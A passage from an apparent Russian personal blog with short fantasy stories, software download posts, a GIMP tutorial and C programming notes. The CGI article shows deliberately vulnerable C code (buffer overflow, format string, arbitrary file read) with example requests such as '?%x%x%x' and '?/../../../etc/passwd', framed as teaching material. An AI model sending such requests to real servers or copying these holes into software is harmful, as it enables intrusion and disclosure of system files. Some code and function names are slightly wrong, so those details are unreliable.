- Кхм…. Ну раз пришла, то заходи, - пробурчал он и освободил проход.

Пройдя сквозь занавески-ленточки, сделанные из оберток от конфет Миоки оказалась внутри большой комнаты, плотно заставленной различными креслами, от плетеных до матово-замшевых. Девочка осмотрелась и мгновенно её душу, наполнил страх, впился в тело тысячами маленьких иголок. В креслах сидели развалившись, покачивались, бормотали что-то себе под нос старики. Здесь были одни старики!
- Что они здесь делают …? – тихо спросила Миоки.
- Вспоминают, - также тихо ответил человек с большим носом.
- Что вспоминают? Кого вспоминают? Зачем? Ведь совсем не обязательно приходить сюда, чтоб вспоминать…
- Всего лишь пушистый птенец…. Путешествуют по воспоминаниям - загадочно сказал здоровяк и вздохнул. - Пойдем дальше, будешь изменять жизнь…

***
Светало, и гасли звезды в утреннем небе. Сквозь густой туман пробиралось красно-желтое солнце, косыми лучами просвечивая плотные занавески на окнах. Люди поздравляли друг друга с добрым утром. Город начинал жить.
- Миоки, Миоки на космодром, наконец, прилетела ракета! – кричал рыжий веснушчатый парень, - одноклассник и лучший друг девочки.
- Бе-беее тоже мне, ракета прилетела, и что с того! - не очень удачно скрывала свою радость Миоки, пытаясь раздразнить Сергея.
Мальчик нахмурился:
- Так, ты что же не хочешь посмотреть на ракету?
- Конечно, хочу, дурачок! Побежали, кто последний тот алийский корратон! – весело выкрикнула Миоки и устремилась вперед, по гладкой дорожке черного асфальта. Деревья и кусты мелькали по сторонам, ветер свистел в ушах, напевая свою мелодию, наполненную десятками людских голосов. Сережа обогнал ее и теперь бежал далеко впереди иногда он оборачивался и ехидно смотрел назад. Когда космопорт был уже близко, он в очередной раз обернулся и громко выкрикнул:
- Кажется я знаю кто будет алийским корратоном!

Затем раздался скрип трамвая, а мальчик даже не успел понять, что произошло. Даже Миоки не сразу поняла. Только потом... была пустота, черная клякса на месте радостной улыбки и замысловатые белые оригами на мраморной плите…

***
Миоки очнулась в жестком плетеном кресле, которое слегка покачивалось из стороны в сторону. Большой человек с большим носом стоял рядом, и задумчиво смотрел на занавешенное, шторами окно. После некоторого молчания он сказал:
- Путешествие по воспоминаниям, всё равно, что путешествие во времени.
- Только нельзя ничего менять, - с досадой произнесла девочка.
- Хм… если бы даже было можно, я бы не рискнул, - заметил незнакомец.
- А я бы рискнула! – выкрикнула девочка и ее синие глаза наполнились слезами.
- Теперь ты поняла, что ни в чем не виновата?
- Я не знаю. Я хочу повидать его еще раз. Можно?
- Можно, - кивнул человек, у которого был большой нос, - только не забывай, что в воспоминаниях можно застрять надолго или даже навсегда.
- Тогда я, наверное, пойду, - не очень последовательно заявила девочка, вытирая рукавом слезы. – Почему вы не разбудите остальных? – Миоки указала на спящих в креслах.
- Только так они… живые, счастливые понимаешь?
- Нет, - испугалась девочка, - они, что не знают, что они спят? Вы их обманули?
Человек с большим носом вздохнул.
- Пушистый птенец… Они знают, что спят, только так им даже лучше.
- Получается, они обманывают сами себя, но, кажется, я поняла зачем, - рассудила девочка.

Над выходом яркими огнями переливались изображение журавликов и китайских воздушных драконов. Сиреневый, желтый, белый, красный, зеленый, оранжевый, синий снова сиреневый. Щелкнул засов, на двери разгоняя вокруг себя тишину. На пороге показалась старая женщина, несколько десятков минут она стояла, вдыхая холодный воздух. Затем развернулась и скрылась в дверном проеме, плотно закрыв за собой дверь.

Старую женщину звали Миоки…

18 марта 2011 г.

by Кerny

Магазин на улице Райд

2011-06-05T21:16:00.002+04:00

Вороны, клевавшие белую корку хлеба, внезапно разлетелись. Чихнул один из небесных богов и на улице Райд подул ветер, поднимая в воздух газеты, опавшие желтые листья и прочий мусор. Серые фасады зданий недовольно смотрели на мостовую, перешептываясь между собой. Лишь один магазин не принимал участие в их беседе. Там торговали книгами и всякими безделушками. На одной из самых дальних полок лежала старая книга. Она была незакончена...

***
Ветер колыхал зеленую траву. Шумело и пенилось синее море, заостряя прибрежные скалы. В небе багровел закат, отдавая последнюю дань богу «Ра». День, который не имеет конца. День, застывший в бесконечности…

***
Там снова кто-то чихнул, а может быть, просто глубоко вздохнул или с силой выдохнул. И с востока холодной волной налетел ветер. Ударяясь о стенки домов, поднимая пыль, принося с собой запах теплых, свежеиспеченных булочек из соседней пекарни. Человек со странным именем Дайр почувствовал, как по телу пробежали мурашки и он поежился. Кутаясь в холодный, серый плащ и изредка шмыгая носом, он забежал в единственный открытый сегодня магазин. Как только стих звон колокольчика Дайр погрузился в тишину. Кромешную и полную, натужно звенящую.

- Погода просто ужасная, говорил мне Энж одеваться теплее, - сказал он, ожидая услышать в ответ что-нибудь угрюмое и раздраженное. Но вместо этого до ушей донесся спокойный, тихий и немного писклявый голос:
- Отчего же ты не послушал его? - Дайр обернулся, выискивая глазами обладателя столь интересного сопрано.
- Кто говорит? - спросил он недоумевая.
- Это я, - все тем же тоном сказал голос.
- Кто «Я»? - произнес человек одетый в холодный, серый плащ, еще пристальнее рассматривая помещение.
- Фарфоровая игрушка... - раздалось в ответ. - Я здесь подойди ближе...
- Зачем? Какая такая игрушка? – растерялся Дайр.
- Я же говорю – фарфоровая! Подойди ближе, - настаивала игрушка.

Дайр подошел к одной из полок, увидел маленькую фарфоровую фигурку белки:
- Но... но ведь игрушки не умеют говорить...
- Прямо таки и не умеют? - парировала белка.
- Да, не умеют! Это не возможно, - уверенно заявил Дайр.
- Здесь все возможно. Не сомневайся. Лучше принеси книгу.
- Какую?
- «Обрыв Рос, твоя мечта», - сказала фигурка, - пятый стеллаж справа... Угу. Эта.… Читай. - Если бы фарфоровые белки могли улыбаться, то эта фигурка сейчас улыбалась бы очень широко.

Дайр читал. Читал её прямо там, сначала стоя, потом сидя облокотившись на книжную полку. Изредка там кто-то чихал, и порывы холодного осеннего ветра били по витринам, гулким эхом разлетаясь по помещению. Теперь уже не одна белка, а целый магазин с интересом наблюдал, как Дайр потянулся за скрипучим пером, достал с полки белую, из обожженной глины чернильницу...

***
Он смотрел на бушующее синее море, вдыхал его запах. На горизонте багровел закат, отдавая последнюю дань богу «Ра». Крик чаек оглашал окрестности. Подул ветер, и человек со странным именем Дайр обернулся. Ему не понравилось, то, что он увидел. Мир обернулся крупинкой льда… Старый магазин. Улица Райд. Грустные взгляды серых домов. Он взял льдинку в руки, и она превратилась в каплю воды. Дайр вытер её о негреющий тело, серый плащ. Рывком развернулся к бесконечному морю…

Там только белые облака, летящие по холодному голубому небу, - подумал он.

6 октября 2010 г.
by Kerny

В приемной у Господа-бога

2011-06-05T21:15:00.000+04:00

Очередь продвигалась крайне медленно.

Впереди переступал с ноги на ногу пожилой старик устало печального вида, с глубокими синяками под глазами. Девочка с белым плюшевым медведем, у которого оторван один глаз. Негр в набедренной повязке с палкой-посохом в правой руке. Да молодая девушка с длинными, чуть ниже плеч, русыми волосами, приколотыми «бабочкой». Почему-то глядя на эту «бабочку» невольно вспоминалась одна очень древняя и очень мудрая фраза про цунами. Фраза была явно не к месту и ни ко времени. Точнее сказать времени здесь, как такового не существовало, впрочем, как и места. – Непонятная, молочного цвета прострация с белой дорожкой в центре. Как ни странно, но именно так выглядела приемная господа-бога. Когда узнал, что можно сходить к нему на аудиенцию – решился не сразу. Долго раздумывал. Ходил по комнате из угла в угол. В голову приходили, прибегали, приезжали, прилетали, приплывали и лезли самые разные мысли. Проникали в сознание назойливыми кинокадрами: солнечный протуберанец и грибок ядерного взрыва, северное сияние и коралловый риф на дне Марианской впадины. Не понятно к чему вспомнились раритетные, еще черно-белые советские фильмы про пионеров.
Вот теперь стою в очереди. Жду. Наверное, довольно, долго. Несколько раз пытался заговорить с девушкой впереди. Она только мотала головой из стороны в сторону, да бормотала что-то невнятное. Вроде бы даже не на русском. Очень уж хотелось с ней поговорить. Долго выяснял, что за наречие она использует. Оказалось, говорит на французском. Попросил подержать мое место деловитого, румяного мальчишку позади. Сам спустился вниз по хлипкой деревянной лестнице. Купил французский разговорник у толстого мужика, торговавшего колбасой (Если будет возможность обязательно нужно узнать у господина всевышнего, откуда у этого обритого на лысо бородача, оказался подобный словарь).
Поднимался наверх, размышляя о девушке. Пока поднимался - выучил французский. Долго представлял, как займу свое место в очереди и с достоинством спрошу:

- Мадемуазель, парле ля франсе?
Собственно с чего я взял, что она мадемуазель. Может и вовсе она мадам. Обидно будет, обидно.

Долго бегал взад вперед, пытаясь найти свое место в очереди. Когда нашел, еще дольше ругался, чтобы занять его. Мальчишку не узнал. Тот возмужал и подрос. Забавно. Девушка, правда, нисколечко не изменилась. Только волосы стали длиннее, да глаза потускнели. Обошел вокруг несколько раз. Внимания не обратила. Стояла как завороженная, чего-то ждала. Ах! Да, точно! Аудиенция.…

Пока приводил ее в себя, тараторя то на русском, то на французском, паренек позади еще более возмужал. Странно и вообще ситуация какая-то странная. Но она меня заметила. О чудо!

- Чего вам Месье? – спросила она на французском, пристально смотря на меня, - ходите тут вокруг да около, стали бы и ждали своей очереди.
- Да к черту очередь мадемуазель! – горячо сказал я, - что вам от него нужно?
Девушка задумалась надолго. Нахмурив брови, ответила:
- Честно говоря, незнаю. Вопросов много, а ответ будет лишь один…
- Тогда пойдемте отсюда, - произнес я, поправляя несуществующий ворот, - не чего тут стоять.
- Думаете? – сомневаясь, спросила она.
- Ну, конечно! Меня Антоном звать. Пойдемте-пойдемте. У нас на невском сейчас, наверное, невероятно славно, - продолжал я, - вы бывали в Санкт-Петербурге?
- Нет, не бывала, - проговорила она, и ее глаза вновь расцвели.
- Значит, нечего и думать. Идемте. - Напирал я. Тогда она огляделась, взглянула на длинную очередь, кивнула. И радостно сказала:

- Силь ву пле, месье. Идемте. Меня Натали звать.… На ваш манер Наташей…

Я взял ее за руку и улыбнулся…

29 октября 2010 г.
by Kerny

Последний разговор Ветра

2011-06-05T21:12:00.006+04:00

- Что тебе хочется делать осенью? – подул ветер бережно роняя желтые листья на мостовую. Со скрипом открылась потертая дверь и из-за нее показался человек. Солнце искорками играло в его глазах. Он был не высок, волосы слегка тронула седина. Размеренными шагами он шел по улице. С интересом наблюдая за тремя синицами, насупив горло, бродящими по черной от утреннего дождя земле. Съеденный на завтрак бутерброд и наспех выпитая кружка горячего чая, приятно бодрили сознание. В правой руке он нес тубус с чертежами. На спине болтался рюкзак с рабочим ноутбуком. Из-за поворота медленно выехала мусороуборочная машина, окрашенная в оранжево-красные цвета. На крыше у нее поочередно мерцали два огонька. Что-то пару раз клацнуло и пожухлые листья, беспорядочно валявшиеся на мостовой, полетели в сторону автомата-уборщика. Человек прошел мимо, непонятно от чего улыбнувшись железному дворнику.

- Осенью мне хочется жить, - ответил человек когда ветер подул еще раз. Ветер остановился и задумался ненадолго. Потом прошептал:

- А мне, хочется быть сильнее. Чтобы я выдохнул и листья хороводом закружились в воздухе. – Теперь задумался человек. Остановился, поправляя рюкзак. Проговорил уверенно:
-Значит, Ветер, ты тоже хочешь жить осенью…
- Нет, не только осенью, хочу всегда.
- Мне кажется, - сказал человек, - у тебя получится. А вот у меня вряд ли.
- Верно,- произнес ветер и не соврал. – Я видел таких как ты не раз. За последние годы ты сильно изменился.
Человек не нашелся что ответить. Лишь еле заметно покачал головой. Спросил:
- Какие у тебя планы на вечер?
- Все те же, - сказал ветер, - буду гонять листья и двигать облака по небу.
- Довольно скучно, - констатировал человек.- Если хочешь я могу выйти вечером. Погуляем вместе. Что скажешь?
- А как же облака и листья? – шепнул ветер с испугом.
- Я думаю, они могут подождать, - говорил человек, - спроси «могут или нет?»
- Хорошо крикнул ветер с энтузиазмом, - Жди зде-е-е-сь я ско-о-о-ро! – И он поднялся высоко-высоко в небо. Бережно он облетал парящих птиц, чтобы не сбить их ненароком. Он знал, что звери в том числе и люди, очень хрупкие создания. Потом он отыскал облака и громко спросил, можно ли ему, ветру отлучиться ненадолго. Они поворчали недолго и в конце концов согласились. Ветер обрадованный устремился вниз. У самой земли он успокоился, сбавив скорость. Прищурился. Наконец, нашел листья и уже тише поинтересовался, отпустят ли они его погулять с человеком. Осенние листья пошелестели немного и решили, что отпустят.

Ветер так обрадовался, что разыгрался не на шутку. Смеясь, он вернулся к человеку и тот улыбнулся в ответ.
- Я вижу твою радость ветер, Значит ли это, что тебя отпустили?
- Да, человек! Значит! Позволь узнать твое имя? – обрадовано спросил он, видя, что человек тоже рад.
- Его я скажу тебе вечером, - поежившись, сказал человек. – Сейчас мне нужно идти по делам. Он приподнял вверх тубус, передернул рюкзак, указал на железного дворника.

- Это я его сделал. Мы их называем роботами. Они помогают нам. И тебе, между прочим, работы меньше. Могу попросить его погонять листья за тебя. Хочешь?
- Нет, спасибо. Сам справлюсь, - прошептал ветер.
- Ну, тогда до вечера, - сказал человек, улыбнулся и пошел на работу.
Ветер закружился ему на прощание, поднимая в воздух листья.

Улица была пуста. Мрак окутал ее со всех сторон. Зажглись фонари, с трудом разгоняя темноту. Облака замерли в иссиня-черном небе. Листья неподвижно лежали на мостовой.
Ветер ждал человека. Человек опаздывал. Ветер летал из одного конца города в другой. Пытался спрашивать у людей, который час. Но они его не понимали. Лишь зябко кутались в свои плащи и куртки, да шмыгали носом. Ветру оставалось только ждать, и он ждал. Так прошла ночь, и наступило утро. Человек не пришел… Ветер совсем расстроился, но все, же решил не уходить. – Человек, как он это обычно делает, должен пойти на работу, по своим делам.
Спустя несколько минут из-за поворота показалась оранжево-красная мусороуборочная машина. На крыше у нее поочередно мерцали огоньки. Что-то пару раз клацнуло и неподвижные листья потянулись к роботу-уборщику…

Потом ветер узнал, что человек не пришел, потому что не смог жить осенью.… Хотя очень-очень хотел. Человек ушел навсегда, а ветер остался навечно. И он заплакал холодным осенним дождем, разнося последнюю песню по мокрым тоскливым улицам.

20 октября 2010 г.

by Kerny

InfoBoot

2010-05-07T12:32:00.000+04:00

InfoBoot - программа, cобирающая информацию о Компьютере, ее можно представить как одну из длинного списка подобных. Надеюсь вам понравится простотой и понятный интерфейс, скорость работы и некоторые дополнительные возможности.

Скачать

Первая программа, которую я написал. Нашел сегодня на старой флэшке, прикольно. Там на один модуль ругается антивирус, можете его удалить, если мне не доверяете. Никаких существенных недостатков не появится (на вкладке сеть будет представленна не полная информация).

Осколки Миров

2010-03-29T23:04:00.003+04:00

Журнал "Осколки Миров", посвящен философии, искусству, фантастике, технологиям, различным выдуманным мирам, а возможно и не выдуманным, вашим авторским проектам и творчеству. Следует немного рассказать о том, что означает название журнала. "Осколки Миров" что вам представляется, когда произносите эту фразу? В общем, это неважно. Мы попытаемся собрать кусочки, самых интересных "вещей" когда-либо придуманных человечеством (а если получится, то не только человечеством, так-то). Очень хочется, чтобы вы оставили свое мнение на форуме журнала. И еще, буду рад вам сообщить, что журналу нужны грамотные авторы статей, рассказов, рецензий, комиксов. Также нам просто необходимы художники, фотографы, которым не лень будет иллюстрировать рассказы подробности на вкладке "участие". Пока, к сожалению, весь процесс создания журнала держится на чистом энтузиазме. Мы надеемся на вас и не поднимайте брови в удивлении, от вашей активности зависит качество журнала. Мы готовы выслушать ваши идеи по поводу улучшения журнала и принять в свой круг новых участников.

Думаю, наконец-то вы можете сказать: "Слава Богам". Вообще благодарить нужно не богов, а тех ребят, что прислали свои работы... Перед вами первый выпуск журнала "Осколки Миров"! Ура! Скажу сразу, первый на то и первый, так что выноса мозга ждать не приходится. Вам его читать, вам его оценивать, очень жду отзывов в соответствующей ветке форума. Надеюсь после выхода этого номера, количество авторов присылающих свои работы - увеличится. Желаю вам приятного прочтения. С этим, первым выпуском открывается и первый конкурс (не обойдется и без приза), подробности читайте в журнале, если будут вопросы - задавайте на форуме.

Формат: pdf
Количество страниц: 45
Вес: 33.2 мб

Скачать

Gwget модификация от Kerny

2010-03-19T18:59:00.003+03:00

В очередной раз убеждаюсь, что умение программировать чрезвычайно полезно. Допустим, есть у тебя программа в которой все вроде-бы хорошо, работаешь с ней работаешь и вдруг находишь один маленький, но существенный недостаток, отсутствие какой-то простой функции и прочее... Начинаешь искать аналогичную программу и оказывается авторы не уделяют в своих программах этому маленькому, но существенному недостатку внимание. Если ты простой смертный - пользователь, то тебе остается только смирится с таким положение дел, а вот если умеешь программировать, то в голове уже начинают строится грандиозные планы по изменению плачевного положения. Это если доступны исходники... Но они доступны, если ты юзаешь Linux! Недавно я столкнулся с такой же проблемой. Пришлось качать громоздкие файлы с файлообменников, а скорость у меня не ахти. Всем известно, что на файлообменниках ссылка устаревает, если не успел скачать файл или машина ненароком перезагрузилась - приходится качать заново при любом раскладе, даже если файл скачан на 90%. А все потому, что менеджерах загрузок для linux (на windows в download master все нормально устроенно) таких как gwget, kget нет функции замены ссылки на новую. Я решил это дело исправить - скачал gwget, стал копаться в исходниках, сразу понял что к чему, дописал пару функций и вуаля!

Скачайте и распакуйте архив в нужную папку. Для установки введите следующие команды:

$./configure
$make
$su root
#make install

Для того чтобы поменять ссылку - нужно войти в свойства загрузки. Для принятия изменений нажать кнопку OK, кнопку Закрыть, если не хотите ничего менять. Возможно все это дело выльется в отдельную программу, вдруг захочется добавить функционала.

Скачать

Некоторые вещи в GIMP.

2010-03-11T00:12:00.014+03:00

GIMP (Гимп) — растровый графический редактор, программа для создания и обработки растровой графики.

GIMP, одна из самых сильных программ для редактирования графики, является кроссплатформенным программным обеспечением, оказала большое влияние на развитие движения свободного ПО. На основе Gimp, создано несколько проектов FilmGimp/Cinepaint/Glasgow, GIMPshop, Seashore.

Создание gif-анимации в gimp.

1. Создать изображение.
Открыть растровый редактор Gimp, используя команду [Файл-Создать] создать изображение нужного размера.

2. Рисуете красивый фон, копируете его.

Для этого выполнить следующие действия [слой-продублировать слой]. Каждый слой будет отдельным кадром нашей анимации. У нас получилось два кадра, меняете второй в зависимости, от того что вам нужно. Остальные кадры создаются аналогично.
3. Предварительный просмотр получившейся анимации.
Открываете меню [Фильтры-Анимация-Воспроизведение] и наслаждаетесь своей работой.
4. Установить переходы между кадрами.
Используете команду [Фильтры-Анимация] выбираете из списка нужный переход.
5. Сохранение анимации.
[Файл-Сохранить как…] Выбираете тип сохраняемого файла – gif. В открывшемся диалоговом окне, ставите значение на «Сохранить как анимацию», в следующем окне устанавливаете галочку на «Бесконечный цикл», указываете задержку между кадрами, жмете «ок».

Создание кистей для gimp.

1. Создать новое изображение с прозрачным фоном
[Файл-Создать], указываете нужный размер кисти, допустим 100x100, разворачиваете пункт «Расширенные параметры». Цвет фона – устанавливаете в прозрачный.
2. Рисуете кисть.
3. Сохраняете изображение в нужном формате.
[Файл-Сохранить как] Тип сохраняемого файла должен быть «Кисть GIMP», расширение «gbr».

Установка новых кистей и шрифтов в gimp.

1. Узнать директории, в которых хранятся кисти и шрифты.
Открываете меню [Правка-Параметры] в открывшемся окне выбираете пункт [Каталоги-Кисти] выделяете строку, напротив, которого стоит галочка, это и есть путь, запоминаете его или копируете куда-нибудь. Для шрифтов используете команду [Каталоги-Шрифты].
2. Распаковываете, копируете заранее скачанные/созданные файлы кистей, шрифтов в нужные папки.
3. Обновляете данные.
Перезапускаете gimp, или же на панели кистей, жмете правую кнопку мыши и в контекстном меню выбираете пункт «Обновить Кисти». Для шрифтов выполняете команду [Окна-Панели-Шрифты] в открывшемся окне вызываете контекстное меню – «пересчитать список шрифтов».

Помимо всего прочего Gimp поддерживает, кисти от photoshop, а также формат PSD(формат проектов photoshop).

10.02.10

©Kerny

О чем написать?

2010-02-15T19:08:00.002+03:00

Привет всем, кто читает это сообщение, если вы его читаете то.... Итак, давно не видел коментов к своим статьям, из этого напрашивается два вывода: либо я никудышно излагаю, либо рассматриваю темы, которые вам читателям, не интересны. Я бы хотел склоняться ко второму, ибо тут еще остается хоть какая-то надежда. Значит спрашиваю вас - "О чем бы вы хотели чтобы я написал?"
Прошу всех кто прочитал отписаться в коментах, регаться для этого не нужно.

Об указателях

2010-01-30T13:15:00.009+03:00

Привет всем, хочу написать небольшую заметку. Итак, допустим у нас есть такой код:

int main()
{
char *Number(void);
printf("%s", Number());
}

char *Number(void)
{
int i;
char text[10];

for(i=0;i==9;i++)
text[i]=(char)i;
return &text[0];
}

Вы видите в нем ошибки? А я вижу. В последней строке "return &text[0];". Функция возвращает адрес локальной переменной(указатель), хотя после передачи адреса переменная будет уничтожена, и мы получим "висячий указатель", и такие ошибки допускаются программистами довольно часто. Кстати говоря компилятор предупреждает нас:

script.c: В функции ‘Number’:
script.c:16: предупреждение: функция возвращает адрес локальной переменной

Предупреждать предупреждает, но не говорит, что в этом плохого, потому многие закрывают глаза на подобные предупреждения. Подробнее о "висячих указателях" и то к чему они могут привести, можно прочитать в моей статье "Ссылка в никуда или сломанный указатель".

Совсем чуть-чуть о cgi.

2010-01-24T11:58:00.021+03:00

Введение в cgi.

Популярность таких языков программирования, как php используемых для создания web-приложений, заставила нас позабыть о том, что для написания web-софта можно использовать любой язык программирования. Способный работать со стандартными устройствами ввода, вывода, будь то C, C++, Pascal, Delphi, Basic, Assembler (если постараться можно и в машинных кодах написать). В чем же мы выиграем, если приложение будет написано, допустим на C, а не на том же php. Всем известно, что C – это компилируемый язык, а php – интерпретируемый. Компилируемые языки работают в разы быстрее, мы сможем использовать это преимущество, когда нужно выполнить ресурсоемкие операции непосредственно на web-странице. Подобные приложения принято называть CGI-скриптами.

CGI — стандарт интерфейса, используемого для связи внешней программы с web-сервером. Программу, которая работает по такому интерфейсу совместно с web-сервером, принято называть шлюзом, хотя многие предпочитают названия «скрипт» (сценарий) или «CGI-программа».

Листинг: Пример GCI- программы на C:

#include<stdio.h>
#include<stdlib.h>

int main()
{
printf("Content-Type: text/html\r\n\r\n"); //HTTP - заголовок
printf("Hello World"); // печатаем на экране сообщение Hello World
}

Для того чтобы сервер правильно обрабатывал наши данные, ему нужно послать заголовок с их фактическим указанием. Content-Type: text/html, говорит о том, что данные текстовые, формата html, если же мы укажем Content-Type: image/png, то это будет означать рисунок формата png, если не послать серверу заголовка, то он выдаст вам ошибку с номером 500. Собственно здесь все понятно. Но смысл cgi-скриптов, не в статической печати кода, а в динамической, в зависимости от какого либо условия html –код должен меняться, сам скрипт делать те или иные действия. В большинстве случаев выполнение или не выполнение условия строится на данных полученных от пользователя.

Листинг: Пример GCI- программы на C, получаем данные от пользователя:

#include<stdio.h>
#include<stdlib.h>

int main()
{
char *usedb = getenv("QUERY_STRING");
printf("Content-Type: text/html\r\n\r\n"); //HTTP – заголовок
printf("%s", usedb); //данные, которые ввел пользователь
}

Давайте откомпилируем данные пример, пускай наш cgi-скрипт называется script.c, откомпилируем его (gcc -o script script.c) и поместим в директорию для cgi-скриптов (cgi, cgi-bin), нашего web-сервера. Обратимся к скрипту следующим образом: «http://localhost/cgi-bin/script?hello», сгенерируется web-страница с надписью «hello»

QUERY_STRING – это переменная окружения, помимо нее еще существуют и другие. В этой переменной храниться все, что мы передали серверу после знака «?». Функция getenv() возвращает, нам указатель на QUERY_STRING, его мы и сохраняем в переменной типа указатель – usedb. Затем выводим значение по адресу в указателе на экран. Так же данные от пользователя можно принять с помощью переменной PATH_INFO, только тогда обращаться к скрипту нужно иначе, допустим, вы используете выше приведенный скрипт, только берете другую переменную окружения(PATH_INFO), тогда обращаемся так:
«http://localhost/cgi-bin/script/peremennay1&peremennay2»
вывод:
/peremennay1&peremennay2
В принципе выше перечисленного достаточно для программирования cgi-приложений, при условии, что вы уже знаете язык, на котором программируете. Кстати говоря, cgi-скрипты можно писать и на языке команд операционной системы.

Уязвимости cgi.

Переполнение Буфера:

Листинг: GCI- программа на C, переполнение буфера:

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int main()
{
char *usedb = getenv("QUERY_STRING");
char dann[10];
printf("Content-Type: text/html\r\n\r\n");
strcpy(dann, usedb);
printf("%s", dann);
}

Обратитесь к скрипту следующим образом «http://localhost/cgi-bin/script?0123456789012345» и сервер наградит вас ошибкой под номером 500. Но это меньшее, что может случиться, в лучшем (для взломщика) случае он получит доступ к серверу с правами уязвимого скрипта, а там и до root'а не далеко. Чтобы избежать, подобных ошибок используйте безопасный аналог функции strcpy – trlcpy, а также следите за границами массивов.

Уязвимость Форматной строки (подробнее можно почитать в моей статье «Недостатки форматной строки»):

Листинг: GCI- программа на C, уязвимость форматной строки:

#include<stdio.h>
#include<stdlib.h>

int main()
{
char *usedb = getenv("QUERY_STRING");
printf("Content-Type: text/html\r\n\r\n");
printf(usedb);
}

Пошлите серверу следующий запрос «http://localhost/cgi-bin/script?%x%x%x» и увидите содержимое стэка. И это лишь маленькая толика всей проблемы. При печати данных не забывайте использовать спецификаторы.

Произвольное чтение файлов:

Листинг: GCI- программа на C, чтение произвольных файлов:

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int main()
{
char *OpenFile(char *arg);
char *filename = getenv("QUERY_STRING");
printf("Content-Type: text/html\r\n\r\n");
printf("%s", OpenFile(filename));
}

char *OpenFile(char *filename)
{
int i=0;
char line[256], text[10240];
FILE *f;
f=fopen(filename,"r");

while(!feof(f))
{
fgets(line,256,f);
strcpy(&text[i], line); // Здесь лучше использовать безопасную функцию strlcpy
i=i+strlen(line);
}
fclose(f);
return &text[0];
}

Теперь обратитесь к скрипту примерно так: «http://localhost/cgi-bin/script?/../../../etc/passwd»
На странице появится содержимое файла /etc/passwd. Перед использованием функций foren, open фильтруйте данные. Если ваш скрипт работает с БД, фильтруйте данные, дабы избежать уязвимости типа sql-injection, xss.
Сегодня мы разобрали типичные ошибки программистов, это относится не только к cgi-
скриптам, но и к обычным программам. Большинство ошибок не поддается классификации, поэтому следите за логикой выполнения программы, стоит ей выполнится не так как задумал разработчик и вся безопасность сойдет на нет.

16.12.09
Kerny
sa-sec.org

Привкус виртуальности

2010-01-19T12:25:00.027+03:00

Эмуляция — воспроизведение программными или аппаратными средствами работы других программ или устройств.

Не полная Эмуляция. Linux & Windows.

Многим пользователям, так или иначе, становиться известно о такой операционной системе, как Linux, рано или поздно приходит время и некоторые из них, по вполне понятным соображениям, стараются пересесть на нее. После установки, естественно, не сразу привыкаешь к Linux, но главная проблема состоит в том , что Windows приложения, не запускаются под Linux и наоборот, на то есть несколько причин, во-первых исполняемые файлы(exe) в Windows представлены PE-форматом, имеющую свою структуры, отличную от структуры исполняемых файлов в Linux(здесь они представлены ELF форматом англ. Executable and Linkable Format — формат исполняемых и компонуемых файлов), для каждого из этих форматов нужен свой, особый загрузчик. Допустим не проблема, разобравшись в форматах, написать свой загрузчик для каждой из систем. Но и здесь на нашем пути встаёт препятствие, разность в реализации api-функций.

Интерфейс прикладного программирования (англ. Application Programming Interface, API [эй-пи-ай]; по-русски чаще произносят [апи́]) — набор готовых констант, структур и функций, используемых при программировании пользовательских приложений и обеспечивающих правильное взаимодействие между пользовательским приложением и операционной системой.

Естественно эти самые api-функции, в разных ос будут различаться. Представьте, вы написали загрузчик и пытаетесь запустить программу для Windows под Linux, программа запускается, начинает выполняться. Тут доходит до места, где вызывается какая-нибудь api-функция, а этой функции естественно нет под Linux. Программа не может дальше выполняться, но вот в чем фишка, хоть ОС и разные, но встречаются api функции аналогичные друг другу, только вот названия разные. Как раз для таких случаев и создаются эмуляторы, например программа, вызывает какую-нибудь api-функцию, эмулятор берет аналогичную, если аналогичной функции не существует, то эмулятор сымитирует ее работу, это можно назвать неполной эмуляцией, так как эмулируются только api-функции, вот пример:

Своя ОС: вызов api=>Успех

Чужая ОС:вызов api=>Ошибка
Режим работы с эмулятором: вызов api=> симуляция=>Успех

При таком подходе, потеря в производительности программ не значительная, но существуют недокументированные api-функции, о которых может не знать разработчик эмулятора. Если такая функция (хоть одна) будет присутствовать в программе, запускаемой из под эмулятора, то программа не будет функционировать, или будет, но неправильно, поэтому только 60%-70% софта можно запустить на другой ОС.

Полная Эмуляция. Виртуальные машины.

Существуют программные продукты, позволяющие эмулировать не определённые api-функции одной системы в другой, а сразу целый компьютер. И, правда, зачем заморачиваться, если можно с эмулировать сразу весь компьютер, а потом установить на него нужную ОС. Это уже называется иначе: виртуализация, а машины, созданные с помощью нее, называются виртуальными машинами. Виртуальная машина— это вычислительная машина, которая эмулируется на реальном компьютере, причём она на столько же дееспособна, как и реальная система, только является не аппаратной, а программной реализацией. Представьте себе какую-нибудь игру ведь это можно сказать Виртуализация реальности, здесь тоже самое, только не игровой мир представлен в виде Виртуальной реальности. А лишь отдельный компьютер и он настолько хорошо проработан, что можно установить на него почти любую из существующих ОС, программы к ней, и работать также полноценно, как и на обычном «реальном» компьютере, Таким образом, на одном мощном компьютере можно создать несколько по слабее и даже объединить их в локальную сеть. Часто виртуальные машины используются для изучения вирусов, ведь вреда реальной системе он нанести не сможет, максимум угробит виртуальную, но восстановить ее плевое дело.

VMware Workstation — программа, позволяющая создавать и запускать одновременно несколько виртуальных машин (x86 - архитектуры), в каждой из которых работает своя гостевая операционная система, например, позволяет пользователям компьютеров Macintosh или на базе платформ Intel/AMD запускать приложения, разработанные для других операционных систем, в том числе Windows и Linux. Поддерживаются как 32-битные, так и 64-битные версии ОС.

VirtualBox — программный продукт виртуализации для операционных систем Microsoft Windows, DOS, GNU/Linux, FreeBSD, Mac OS X и SUN Solaris/OpenSolaris. Программа была создана компанией Innotek с использованием исходного кода.

Пример эмуляции. Wine & VirtualBox.

Wine - это реализация api win32 над Unix и его графическим сервером XFree86/xorg. Поэтому программу под MS Windows с помощью Wine можно запустить только на x86 машине, т.к. все инструкции кроме вызов API выполняются процессором. Это позволяет достичь высокой производительности (многие программы работают из под WINE с такой же скоростью, как и в "настоящей" Windows).
Пришло время попрактиковаться, попробуем установить wine и посмотреть на все это чудо. Wine - не совсем эмулятор, но я все, же осмелюсь его так называть.
Для начала нам нужна сама программа (ссылка). Есть разные её версии и даже для Windows там она используется для запуска устаревших приложений. Но сегодня мы задумали запускать Windows приложения под Linux. Итак, скачали, распаковали.

Теперь установим программу, для этого запускаем консоль, я точно не знаю нужен ли для установки root, но на всякий случай войдём в сеанс root.

su — root

Вас попросят пароль root'а, вводите и приступим. Переходим в папку с программой у меня это /home/Kerny/wine-1.1.26.

